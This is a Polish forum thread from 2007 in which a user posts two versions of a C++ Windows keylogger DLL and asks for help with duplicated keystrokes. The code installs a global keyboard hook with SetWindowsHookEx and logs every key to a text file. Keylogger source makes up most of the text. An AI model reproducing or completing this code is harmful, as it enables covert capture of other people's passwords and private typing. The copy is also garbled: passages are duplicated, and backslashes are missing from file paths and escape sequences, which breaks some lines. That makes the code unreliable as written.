Witam
Postanowiłem napisać prostego keyloggera opierajac sie na opisie hooków ze strony: http://www.winapi.org/
Jednak gdy napisałem odpowiedni plik dll to zaczeły się problemy. Oto plik:
Moje problemy:
1.Wydaje mi się iż za każdym razem kiedy otwieram jakąś aplikacje(po uruchomieniu keyloggera) hook tworzy się od początku i nadpisuje stara wersje pliku, gdy wracam i pisze coś innego to ta druga aplikacja nadpisuje pierwszą(i tak w kółko) - w ostateczności nic nie można odczytać z pliku z logami.
2. Plik ten używam w prostej aplikacji (coś jak szablon z dev-a Windows Application) gdzie dodaje w miejsce WM_CREATE kod dll = LoadLibrary("DLL.dll"); i gdy otwiera się okienko aplikacji i zaczynam pisać w tym okienku, a następnie je zamykam to wszystko jest ok ale gdy np. otworze notatnik (podczas działania keyloggera(otwarte okienko))napisze cos i zamkne notatnik i okienko to w pliku z logami zamiast np. BLA jest BBLLAA - przypominam o tym, że jak pisze w okienku to wszystko jest ok , a oprócz tego występuje problem nr 1 chyba że nic nie napisze w okienku aplikacji(chodzi o keylogger)
Ma ktoś może jakiś pomysł jak można ten problem rozwiązać może jakiś błąd jest w kodzie???Może źle zrozumiałem artykuł o hookach i coś przeoczyłem???
PS Starałem się opisać problem w sposób "najjaśniejszy" jak by coś nie było jasne to proszę pytać!!!
[ Dodano: 18-11-2007, 12:12 ]
Witam ponownie.
Poprawiłem poprzedni kod na:
I teraz jestem pewien iż po odpaleniu aplikacji tworzy mi się hook następnie gdy otworze np. notatnik to tworzy mi się jeszcze jeden hook później gdy otworze np. worda to tworzy się trzeci hook itd. Wie ktoś może jak temu zaradzić (chodzi o to że jeżeli jest tyle hooków w systemie to każdy z osobna przechwytuje klawisz i go zapisuje np. jak są dwie aplikacje otwarte to zamiast zapisać a zapisuje aa, jak są trzy aplikacje otwarte to zamiast a zapisuje aaa itd.)
Postanowiłem napisać prostego keyloggera opierajac sie na opisie hooków ze strony: http://www.winapi.org/
Jednak gdy napisałem odpowiedni plik dll to zaczeły się problemy. Oto plik:
Kod:
#include <windows.h>
DWORD dTimeIdle=0;
static HHOOK hhookKeyb;
HANDLE plik;
int licznik = 0;
char buffor[10];
DWORD zapisane;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL WINAPI DllMain( HINSTANCE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
static HINSTANCE hinstDLL = hModule;
static HOOKPROC hkprcKeyb;
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hhookKeyb = SetWindowsHookEx(WH_KEYBOARD,
KeyboardProc, hinstDLL, 0);
if(!hhookKeyb)
MessageBox(NULL, "Ustawienie HOOK'a NIE powiodło się", "Info", MB_OK | MB_ICONERROR);
plik = CreateFile("C:Documents and SettingsAdminPulpitklawisz.txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0, NULL);
if(plik == INVALID_HANDLE_VALUE)
MessageBox(NULL, "Nie można otworzyć pliku.", "A to pech!", MB_ICONEXCLAMATION);
break;
case DLL_PROCESS_DETACH:
if(!UnhookWindowsHookEx(hhookKeyb))
MessageBox(NULL, "Usunięcie HOOK'a NIE powiodło się", "Info", MB_OK | MB_ICONERROR);
if(licznik != 0)
WriteFile(plik, buffor, licznik, &zapisane, NULL);
CloseHandle(plik);
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char tab[255];
if((lParam & 0x80000000) == 0)
return CallNextHookEx(hhookKeyb, nCode,
wParam, lParam);
if (nCode < 0)
return CallNextHookEx(hhookKeyb, nCode,
wParam, lParam);
wsprintf(tab, "%c", wParam);
buffor[licznik] = tab[0];
++licznik;
if(licznik == 10)
{
if(!WriteFile(plik, buffor, 10, &zapisane, NULL))
MessageBox(0, "Błąd podczas zapisu", "Błąd", 0);
licznik = 0;
}
return CallNextHookEx(hhookKeyb, nCode,
wParam, lParam);
}
Moje problemy:
1.Wydaje mi się iż za każdym razem kiedy otwieram jakąś aplikacje(po uruchomieniu keyloggera) hook tworzy się od początku i nadpisuje stara wersje pliku, gdy wracam i pisze coś innego to ta druga aplikacja nadpisuje pierwszą(i tak w kółko) - w ostateczności nic nie można odczytać z pliku z logami.
2. Plik ten używam w prostej aplikacji (coś jak szablon z dev-a Windows Application) gdzie dodaje w miejsce WM_CREATE kod dll = LoadLibrary("DLL.dll"); i gdy otwiera się okienko aplikacji i zaczynam pisać w tym okienku, a następnie je zamykam to wszystko jest ok ale gdy np. otworze notatnik (podczas działania keyloggera(otwarte okienko))napisze cos i zamkne notatnik i okienko to w pliku z logami zamiast np. BLA jest BBLLAA - przypominam o tym, że jak pisze w okienku to wszystko jest ok , a oprócz tego występuje problem nr 1 chyba że nic nie napisze w okienku aplikacji(chodzi o keylogger)
Ma ktoś może jakiś pomysł jak można ten problem rozwiązać może jakiś błąd jest w kodzie???Może źle zrozumiałem artykuł o hookach i coś przeoczyłem???
PS Starałem się opisać problem w sposób "najjaśniejszy" jak by coś nie było jasne to proszę pytać!!!
[ Dodano: 18-11-2007, 12:12 ]
Witam ponownie.
Poprawiłem poprzedni kod na:
Kod:
#include <windows.h>
#include <fstream>
DWORD dTimeIdle=0;
static HHOOK hhookKeyb;
int licznik = 0;
char buffor[10];
DWORD zapisane;
std::ofstream plik;
char gdzie[] = "C:Documents and SettingsAll UsersDokumentyklawisz.txt";
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL WINAPI DllMain( HINSTANCE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
static HINSTANCE hinstDLL = hModule;
static HOOKPROC hkprcKeyb;
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(0, "dll - uruchomiono", "bla", 0);
hhookKeyb = SetWindowsHookEx(WH_KEYBOARD,
KeyboardProc, hinstDLL, 0);
if(!hhookKeyb)
MessageBox(NULL, "Ustawienie HOOK'a NIE powiodło się", "Info", MB_OK | MB_ICONERROR);
plik.open("C:Documents and SettingsAll UsersDokumentyklawisz.txt", std::ios_base::out | std::ios_base::app);
if(!plik.is_open())
MessageBox(0, "Błąd podczas otwarcia pliku(nowa wersja)", "Błąd", 0);
plik.close();
break;
case DLL_PROCESS_DETACH:
MessageBox(0, "dll - zamknieto", "bla", 0);
if(!UnhookWindowsHookEx(hhookKeyb))
MessageBox(NULL, "Usunięcie HOOK'a NIE powiodło się", "Info", MB_OK | MB_ICONERROR);
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char tab[255];
if (nCode < 0)
return CallNextHookEx(hhookKeyb, nCode,
wParam, lParam);
if((lParam & 0x80000000) != 0)
return CallNextHookEx(hhookKeyb, nCode,
wParam, lParam);
wsprintf(tab, "%c %x", wParam, wParam);
buffor[licznik] = tab[0];
plik.open(gdzie, std::ios_base::app | std::ios_base::out);
switch((int)wParam)
{
case 0xbe:
plik<<'.';
plik.close();
break;
case 0xbc:
plik<<',';
plik.close();
break;
case 0xba:
plik<<';';
plik.close();
break;
case 0xd:
plik<<'n';
plik.close();
break;
case 0xde:
plik<<''';
plik.close();
break;
case 0x20:
plik<<' ';
plik.close();
break;
case 0x10:
plik<<"[SHIFT]";
plik.close();
break;
case 0x14:
plik<<"[CAPS LOCK]";
plik.close();
break;
case 0x9:
plik<<"[TAB]";
plik.close();
break;
case 0x11:
/*plik<<"[CTRL]";
plik.close();*/
break;
case 0x12:
plik<<"[ALT]";
plik.close();
break;
case 0x8:
plik<<"[BACKSPACE]";
plik.close();
break;
case 0xbf:
plik<<'/';
plik.close();
break;
case 0xdc:
plik<<"";
plik.close();
break;
case 0xdb:
plik<<'[';
plik.close();
break;
case 0xdd:
plik<<']';
plik.close();
break;
case 0xbd:
plik<<'-';
plik.close();
break;
case 0xbb:
plik<<'=';
plik.close();
break;
case 0xc0:
plik<<'`';
plik.close();
break;
default:
plik<<buffor;
plik.close();
}
return CallNextHookEx(hhookKeyb, nCode,
wParam, lParam);
}
I teraz jestem pewien iż po odpaleniu aplikacji tworzy mi się hook następnie gdy otworze np. notatnik to tworzy mi się jeszcze jeden hook później gdy otworze np. worda to tworzy się trzeci hook itd. Wie ktoś może jak temu zaradzić (chodzi o to że jeżeli jest tyle hooków w systemie to każdy z osobna przechwytuje klawisz i go zapisuje np. jak są dwie aplikacje otwarte to zamiast zapisać a zapisuje aa, jak są trzy aplikacje otwarte to zamiast a zapisuje aaa itd.)